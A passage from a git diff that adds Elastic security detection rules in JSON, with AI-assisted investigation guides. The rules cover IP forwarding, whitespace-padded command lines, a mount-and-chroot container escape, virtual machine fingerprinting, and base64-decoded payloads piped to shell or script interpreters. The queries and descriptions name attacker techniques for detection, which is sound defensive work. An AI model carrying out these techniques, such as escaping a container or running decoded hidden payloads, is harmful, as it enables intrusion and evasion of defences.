identify any unusual traffic patterns or connections that could indicate data exfiltration or lateral movement.\n- Correlate the alert with other security events or logs from the same host or network segment to identify any related suspicious activities or patterns.\n- Assess the system's current configuration and network topology to determine if enabling IP forwarding could have been part of a legitimate administrative task or if it poses a security risk.\n\n### False positive analysis\n\n- Routine administrative tasks may trigger the rule when system administrators enable IP forwarding for legitimate network configuration purposes. To manage this, create exceptions for known administrative scripts or processes that regularly perform these actions.\n- Automated scripts or configuration management tools like Ansible or Puppet might execute commands that match the rule's criteria. Identify these tools and exclude their processes from the rule to prevent false alerts.\n- Network testing or troubleshooting activities often require temporary enabling of IP forwarding. Document and exclude these activities when performed by trusted users or during scheduled maintenance windows.\n- Virtualization or container orchestration platforms may enable IP forwarding as part of their normal operations. Recognize these platforms and adjust the rule to ignore their specific processes or command patterns.\n- Security tools or network monitoring solutions might also enable IP forwarding for analysis purposes. Verify these tools and exclude their processes to avoid unnecessary alerts.\n\n### Response and remediation\n\n- Immediately isolate the affected Linux system from the network to prevent further unauthorized access or data exfiltration.\n- Terminate any suspicious processes identified by the detection rule, particularly those enabling IP forwarding, to halt potential lateral movement or data exfiltration.\n- Conduct a thorough review of network traffic logs to identify any unusual or unauthorized connections that may indicate command and control activity.\n- Revert any unauthorized changes to system configurations, specifically those related to IP forwarding settings, to restore the system to its secure state.\n- Escalate the incident to the security operations team for further investigation and to determine if additional systems are compromised.\n- Implement network segmentation to limit the ability of attackers to pivot between networks in the future.\n- Enhance monitoring and alerting for similar suspicious activities by tuning detection systems to recognize patterns associated with IP forwarding misuse.", + "query": "process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"start\", \"exec_event\", \"ProcessRollup2\") and\n?process.parent.executable != null and process.command_line like (\n \"*net.ipv4.ip_forward*\", \"*/proc/sys/net/ipv4/ip_forward*\", \"*net.ipv6.conf.all.forwarding*\",\n \"*/proc/sys/net/ipv6/conf/all/forwarding*\"\n) and (\n (process.name == \"sysctl\" and process.args like (\"*-w*\", \"*--write*\", \"*=*\")) or\n (\n process.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and process.args == \"-c\" and\n process.command_line like \"*echo *\"\n )\n) and\nnot process.parent.name like~ (\"privsep-helper\", \"platform-python*\", \"init.ipv6-global\", \"wsl-bootstrap\")\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "sentinel_one_cloud_funnel", + "version": "^1.0.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.executable", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.name", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "5a138e2e-aec3-4240-9843-56825d0bc569", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Command and Control", + "Data Source: Elastic Defend", + "Data Source: SentinelOne", + "Data Source: Elastic Endgame", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0011", + "name": "Command and Control", + "reference": "https://attack.mitre.org/tactics/TA0011/" + }, + "technique": [ + { + "id": "T1572", + "name": "Protocol Tunneling", + "reference": "https://attack.mitre.org/techniques/T1572/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 106 + }, + "id": "5a138e2e-aec3-4240-9843-56825d0bc569_106", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/5a876e0d-d39a-49b9-8ad8-19c9b622203b_2.json b/packages/security_detection_engine/kibana/security_rule/5a876e0d-d39a-49b9-8ad8-19c9b622203b_2.json new file mode 100644 index 00000000000..4bd364f2d84 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/5a876e0d-d39a-49b9-8ad8-19c9b622203b_2.json @@ -0,0 +1,138 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies process execution events where the command line value contains a long sequence of whitespace characters or multiple occurrences of contiguous whitespace. Attackers may attempt to evade signature-based detections by padding their malicious command with unnecessary whitespace characters. These observations should be investigated for malicious behavior.", + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "Command Line Obfuscation via Whitespace Padding", + "note": "## Triage and analysis\n\n### Investigating Command Line Obfuscation via Whitespace Padding\n\nThis rule identifies process execution events where the command line value contains a long sequence of whitespace\ncharacters or multiple occurrences of contiguous whitespace. Attackers may attempt to evade signature-based detections\nby padding their malicious command with unnecessary whitespace characters.\n\n#### Possible investigation steps\n\n- Analyze the command line of the process in question for evidence of malicious code execution.\n- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files\nfor prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures.\n- Investigate other alerts associated with the user/host during the past 48 hours.\n- Investigate abnormal behaviors observed by the subject process such as network connections, registry or file\nmodifications, and any spawned child processes.\n- Retrieve the process executable and determine if it is malicious:\n - Use a private sandboxed malware analysis system to perform analysis.\n - Observe and collect information about the following activities:\n - Attempts to contact external domains and addresses.\n - File and registry access, modification, and creation activities.\n - Service creation and launch activities.\n - Scheduled tasks creation.\n - Use the PowerShell `Get-FileHash` cmdlet to get the files' SHA-256 hash values.\n - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc.\n\n### False positive analysis\n\n- Alerts derived from this rule are not inherently malicious. Analysts can dismiss the alert if they don't find enough\nevidence of further suspicious activity.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Isolate the involved host to prevent further post-compromise behavior.\n- If the triage identified malware, search the environment for additional compromised hosts.\n - Implement temporary network rules, procedures, and segmentation to contain the malware.\n - Stop suspicious processes.\n - Immediately block the identified indicators of compromise (IoCs).\n - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that\n attackers could use to reinfect the system.\n- Remove the malicious certificate from the root certificate store.\n- Remove and block malicious artifacts identified during triage.\n- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and\nmalware components.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are\nidentified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business\nsystems, and web services.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the\nmean time to respond (MTTR).\n", + "query": "FROM logs-* metadata _id, _version, _index \n| where event.category == \"process\" and event.type == \"start\" and event.action != \"fork\"\n// more than 100 spaces in process.command_line\n| eval multi_spaces = LOCATE(process.command_line, space(100)) \n| where multi_spaces > 0 \n| keep user.name, host.id, host.name, process.command_line, process.executable, process.parent.executable\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + }, + { + "package": "auditd_manager", + "version": "^1.0.0" + }, + { + "package": "m365_defender", + "version": "^3.0.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + }, + { + "package": "sentinel_one_cloud_funnel", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "host.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.executable", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.executable", + "type": "keyword" + }, + { + "ecs": true, + "name": "user.name", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "5a876e0d-d39a-49b9-8ad8-19c9b622203b", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "OS: macOS", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Tactic: Execution", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1027", + "name": "Obfuscated Files or Information", + "reference": "https://attack.mitre.org/techniques/T1027/" + }, + { + "id": "T1140", + "name": "Deobfuscate/Decode Files or Information", + "reference": "https://attack.mitre.org/techniques/T1140/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.001", + "name": "PowerShell", + "reference": "https://attack.mitre.org/techniques/T1059/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 2 + }, + "id": "5a876e0d-d39a-49b9-8ad8-19c9b622203b_2", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/5ae02ebc-a5de-4eac-afe6-c88de696477d_107.json b/packages/security_detection_engine/kibana/security_rule/5ae02ebc-a5de-4eac-afe6-c88de696477d_107.json new file mode 100644 index 00000000000..0b20d244b6a --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/5ae02ebc-a5de-4eac-afe6-c88de696477d_107.json @@ -0,0 +1,119 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Monitors for the execution of a file system mount followed by a chroot execution. Given enough permissions, a user within a container is capable of mounting the root file system of the host, and leveraging chroot to escape its containarized environment. This behavior pattern is very uncommon and should be investigated.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.process*", + "logs-sentinel_one_cloud_funnel.*", + "logs-crowdstrike.fdr*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Potential Chroot Container Escape via Mount", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Chroot Container Escape via Mount\n\nChroot and mount are Linux utilities that can isolate processes and manage file systems, respectively. Adversaries may exploit these to escape containerized environments by mounting the host's root file system and using chroot to change the root directory, gaining unauthorized access. The detection rule identifies this rare sequence by monitoring for mount and chroot executions within a short timeframe, signaling potential privilege escalation attempts.\n\n### Possible investigation steps\n\n- Review the alert details to identify the specific host.id and process.parent.entity_id associated with the alert to understand which system and parent process are involved.\n- Examine the process execution timeline to confirm the sequence of the mount and chroot commands, ensuring they occurred within the specified maxspan of 5 minutes.\n- Investigate the process.args field for the mount command to determine the specific device or file system being targeted, especially focusing on any /dev/sd* entries that suggest attempts to access physical disks.\n- Check the user permissions and roles associated with the process.parent.name (e.g., bash, dash, sh) to assess if the user had sufficient privileges to perform such operations.\n- Analyze the broader context of the host.os.type to identify any recent changes or anomalies in the Linux environment that could have facilitated this behavior.\n- Correlate with other security logs or alerts from the same host to identify any additional suspicious activities or patterns that might indicate a broader attack or compromise.\n\n### False positive analysis\n\n- System maintenance scripts may trigger the rule if they involve mounting and chroot operations. Review scheduled tasks and scripts to identify legitimate use and consider excluding these specific processes from the rule.\n- Backup or recovery operations that require mounting file systems and changing root directories can also cause false positives. Identify these operations and create exceptions for the associated processes or users.\n- Development or testing environments where users frequently perform mount and chroot operations for legitimate purposes may trigger alerts. Evaluate the necessity of these actions and exclude known safe processes or users.\n- Automated deployment tools that use mount and chroot as part of their setup routines can be mistaken for malicious activity. Verify the tools and their processes, then add them to an exclusion list if they are deemed safe.\n- Custom scripts executed by trusted users that involve mount and chroot should be reviewed. If these scripts are part of regular operations, consider excluding them from the detection rule.\n\n### Response and remediation\n\n- Immediately isolate the affected container to prevent further unauthorized access or potential lateral movement within the host system.\n- Terminate any suspicious processes identified as executing the mount or chroot commands within the container to halt any ongoing escape attempts.\n- Conduct a thorough review of the container's permissions and configurations to ensure that only necessary privileges are granted, reducing the risk of similar exploits.\n- Inspect the host system for any signs of compromise or unauthorized access, focusing on logs and system changes around the time of the detected activity.\n- Restore the container from a known good backup if any unauthorized changes or compromises are detected, ensuring the environment is clean and secure.\n- Update and patch the container and host systems to address any known vulnerabilities that could be exploited for privilege escalation or container escape.\n- Escalate the incident to the security operations team for further analysis and to determine if additional monitoring or security measures are required to prevent future occurrences.", + "query": "sequence by host.id, process.parent.entity_id with maxspan=5m\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"start\", \"ProcessRollup2\") and\n process.name == \"mount\" and process.args : \"/dev/sd*\" and process.args_count >= 3 and\n process.parent.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\")]\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"start\", \"ProcessRollup2\") and\n process.name == \"chroot\"]\n", + "references": [ + "https://book.hacktricks.xyz/v/portugues-ht/linux-hardening/privilege-escalation/escaping-from-limited-bash" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "sentinel_one_cloud_funnel", + "version": "^1.0.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args_count", + "type": "long" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.entity_id", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.name", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "5ae02ebc-a5de-4eac-afe6-c88de696477d", + "setup": "## Setup\n\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n\nSession View uses process data collected by the Elastic Defend integration, but this data is not always collected by default. Session View is available on enterprise subscription for versions 8.3 and above.\n#### To confirm that Session View data is enabled:\n- Go to \u201cManage \u2192 Policies\u201d, and edit one or more of your Elastic Defend integration policies.\n- Select the\u201d Policy settings\u201d tab, then scroll down to the \u201cLinux event collection\u201d section near the bottom.\n- Check the box for \u201cProcess events\u201d, and turn on the \u201cInclude session data\u201d toggle.\n- If you want to include file and network alerts in Session View, check the boxes for \u201cNetwork and File events\u201d.\n- If you want to enable terminal output capture, turn on the \u201cCapture terminal output\u201d toggle.\nFor more information about the additional fields collected when this setting is enabled and the usage of Session View for Analysis refer to the [helper guide](https://www.elastic.co/guide/en/security/current/session-view.html).\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Privilege Escalation", + "Domain: Container", + "Data Source: Elastic Defend", + "Data Source: SentinelOne", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0004", + "name": "Privilege Escalation", + "reference": "https://attack.mitre.org/tactics/TA0004/" + }, + "technique": [ + { + "id": "T1611", + "name": "Escape to Host", + "reference": "https://attack.mitre.org/techniques/T1611/" + } + ] + } + ], + "type": "eql", + "version": 107 + }, + "id": "5ae02ebc-a5de-4eac-afe6-c88de696477d_107", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/5b03c9fb-9945-4d2f-9568-fd690fee3fba_112.json b/packages/security_detection_engine/kibana/security_rule/5b03c9fb-9945-4d2f-9568-fd690fee3fba_112.json new file mode 100644 index 00000000000..bc6746587d2 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/5b03c9fb-9945-4d2f-9568-fd690fee3fba_112.json @@ -0,0 +1,96 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "An adversary may attempt to get detailed information about the operating system and hardware. This rule identifies common locations used to discover virtual machine hardware by a non-root user. This technique has been used by the Pupy RAT and other malware.", + "false_positives": [ + "Certain tools or automated software may enumerate hardware information. These tools can be exempted via user name or process arguments to eliminate potential noise." + ], + "from": "now-9m", + "index": [ + "auditbeat-*", + "logs-endpoint.events.*", + "endgame-*", + "logs-crowdstrike.fdr*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "Virtual Machine Fingerprinting", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Virtual Machine Fingerprinting\n\nVirtual Machine Fingerprinting involves identifying characteristics of a virtual environment, often to tailor attacks or evade detection. Adversaries exploit this by querying system files for hardware details, a tactic seen in malware like Pupy RAT. The detection rule flags non-root users accessing specific Linux paths indicative of VM queries, signaling potential reconnaissance activities.\n\n### Possible investigation steps\n\n- Review the process execution details to identify the non-root user involved in accessing the specified paths, focusing on the user.name field.\n- Examine the process.args field to determine which specific file paths were accessed, as this can indicate the type of virtual machine information being targeted.\n- Investigate the parent process and command line arguments to understand the context of the process initiation and whether it aligns with legitimate user activity.\n- Check for any related alerts or logs around the same timeframe to identify potential patterns or repeated attempts at virtual machine fingerprinting.\n- Assess the system for any signs of compromise or unauthorized access, particularly focusing on the presence of known malware like Pupy RAT or similar threats.\n- Correlate the findings with MITRE ATT&CK framework references (TA0007, T1082) to understand the broader tactics and techniques potentially in use by the adversary.\n\n### False positive analysis\n\n- Non-root users running legitimate scripts or applications that query system files for hardware information may trigger the rule. Review the context of the process and user activity to determine if it aligns with expected behavior.\n- System administrators or developers using automated tools for inventory or monitoring purposes might access these paths. Consider creating exceptions for known tools or scripts that are verified as safe.\n- Security or compliance audits conducted by non-root users could inadvertently match the rule's criteria. Document and whitelist these activities if they are part of regular operations.\n- Development environments where virtual machine detection is part of testing processes may cause false positives. Identify and exclude these environments from the rule's scope if they are consistently flagged.\n- Regularly review and update the list of exceptions to ensure that only verified and necessary exclusions are maintained, minimizing the risk of overlooking genuine threats.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further reconnaissance or potential lateral movement by the adversary.\n- Terminate any suspicious processes identified in the alert that are attempting to access the specified system files, especially those not initiated by the root user.\n- Conduct a thorough review of recent user activity and process logs to identify any unauthorized access or anomalies that may indicate further compromise.\n- Reset credentials for any non-root users involved in the alert to prevent unauthorized access, and review user permissions to ensure least privilege principles are enforced.\n- Deploy endpoint detection and response (EDR) tools to monitor for similar suspicious activities and enhance visibility into system processes and user actions.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.\n- Implement additional monitoring and alerting for the specific file paths and processes identified in the query to detect and respond to future attempts at virtual machine fingerprinting.", + "query": "event.category:process and host.os.type:linux and event.type:(start or process_started) and\n process.args:(\"/sys/class/dmi/id/bios_version\" or\n \"/sys/class/dmi/id/product_name\" or\n \"/sys/class/dmi/id/chassis_vendor\" or\n \"/proc/scsi/scsi\" or\n \"/proc/ide/hd0/model\") and\n not user.name:root\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.category", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "user.name", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "5b03c9fb-9945-4d2f-9568-fd690fee3fba", + "setup": "## Setup\n\nThis rule requires data coming in from one of the following integrations:\n- Elastic Defend\n- Auditbeat\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n\n### Auditbeat Setup\nAuditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations.\n\n#### The following steps should be executed in order to add the Auditbeat on a Linux System:\n- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages.\n- To install the APT and YUM repositories follow the setup instructions in this [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html).\n- To run Auditbeat on Docker follow the setup instructions in the [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html).\n- To run Auditbeat on Kubernetes follow the setup instructions in the [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html).\n- For complete \u201cSetup and Run Auditbeat\u201d information refer to the [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html).\n", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Discovery", + "Data Source: Elastic Endgame", + "Data Source: Elastic Defend", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0007", + "name": "Discovery", + "reference": "https://attack.mitre.org/tactics/TA0007/" + }, + "technique": [ + { + "id": "T1082", + "name": "System Information Discovery", + "reference": "https://attack.mitre.org/techniques/T1082/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 112 + }, + "id": "5b03c9fb-9945-4d2f-9568-fd690fee3fba_112", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/5bdad1d5-5001-4a13-ae99-fa8619500f1a_4.json b/packages/security_detection_engine/kibana/security_rule/5bdad1d5-5001-4a13-ae99-fa8619500f1a_4.json new file mode 100644 index 00000000000..929d8e7a3e8 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/5bdad1d5-5001-4a13-ae99-fa8619500f1a_4.json @@ -0,0 +1,145 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects when a base64 decoded payload is piped to an interpreter on Linux systems. Adversaries may use base64 encoding to obfuscate data and pipe it to an interpreter to execute malicious code. This technique may be used to evade detection by host- or network-based security controls.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.process*", + "logs-crowdstrike.fdr*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Base64 Decoded Payload Piped to Interpreter", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Base64 Decoded Payload Piped to Interpreter\n\nBase64 encoding is a method to encode binary data into ASCII text, often used for data obfuscation. Adversaries exploit this by encoding malicious payloads and decoding them on a target system, piping the output to interpreters like bash or python for execution. The detection rule identifies such activities by monitoring for processes that decode Base64 and subsequently execute scripts, indicating potential malicious behavior.\n\n### Possible investigation steps\n\n- Review the process command line arguments to identify the specific Base64 decoding activity, focusing on the presence of flags like `-d` or `-a` in conjunction with tools such as `base64`, `openssl`, or scripting languages like `python`, `perl`, or `ruby`.\n- Examine the parent process entity ID and command line to understand the context in which the Base64 decoding was initiated, identifying any potentially suspicious parent processes.\n- Investigate the subsequent interpreter process that was executed, such as `bash`, `python`, or `ruby`, to determine the nature of the script or command being run, looking for any signs of malicious activity.\n- Check the timing and sequence of the processes involved to confirm if the Base64 decoding and interpreter execution occurred within the specified maxspan of 3 seconds, indicating a likely automated or scripted action.\n- Analyze the host ID and any associated user accounts to determine if the activity aligns with expected behavior for that system or user, or if it suggests unauthorized access or compromise.\n- Correlate the alert with other security events or logs from the same host or user to identify any additional indicators of compromise or related suspicious activities.\n\n### False positive analysis\n\n- Legitimate administrative scripts may use Base64 encoding to handle data securely. Review the context of the script execution and consider excluding specific scripts or directories from monitoring if they are verified as safe.\n- Automated backup or data transfer processes might use Base64 encoding for data integrity. Identify these processes and create exceptions for known, trusted applications or scripts.\n- Development environments often use Base64 encoding for testing purposes. If a development tool or script is frequently triggering alerts, consider excluding the specific development environment or user accounts from this rule.\n- Security tools or monitoring solutions may use Base64 encoding as part of their normal operations. Verify the source of the alert and exclude known security tools from triggering this rule.\n- System updates or package installations might involve Base64 operations. Monitor the timing and context of these alerts and exclude specific update processes if they are consistently identified as false positives.\n\n### Response and remediation\n\n- Isolate the affected system from the network to prevent further execution of potentially malicious code and lateral movement.\n- Terminate any suspicious processes identified by the detection rule, particularly those involving base64 decoding and piping to interpreters.\n- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized file modifications or network connections.\n- Restore the system from a known good backup if malicious activity is confirmed and the integrity of the system is compromised.\n- Update and patch all software and systems to mitigate vulnerabilities that could be exploited by similar techniques.\n- Implement enhanced monitoring and logging for base64 decoding activities and interpreter executions to detect similar threats in the future.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if broader organizational impacts exist.\n", + "query": "sequence by host.id, process.parent.entity_id with maxspan=3s\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"ProcessRollup2\") and (\n (process.name in (\"base64\", \"base64plain\", \"base64url\", \"base64mime\", \"base64pem\", \"base32\", \"base16\") and process.command_line like~ \"*-*d*\") or\n (process.name == \"openssl\" and process.args == \"enc\" and process.args in (\"-d\", \"-base64\", \"-a\")) or\n (process.name like \"python*\" and\n (process.args == \"base64\" and process.args in (\"-d\", \"-u\", \"-t\")) or\n (process.args == \"-c\" and process.args like \"*base64*\" and process.command_line like~ \"*b64decode*\")\n ) or\n (process.name like \"perl*\" and process.command_line like~ \"*decode_base64*\") or\n (process.name like \"ruby*\" and process.args == \"-e\" and process.command_line like~ \"*Base64.decode64*\")\n )]\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"ProcessRollup2\") and process.name like~ (\n \"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\", \"python*\", \"perl*\", \"ruby*\", \"lua*\", \"php*\"\n )]\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": 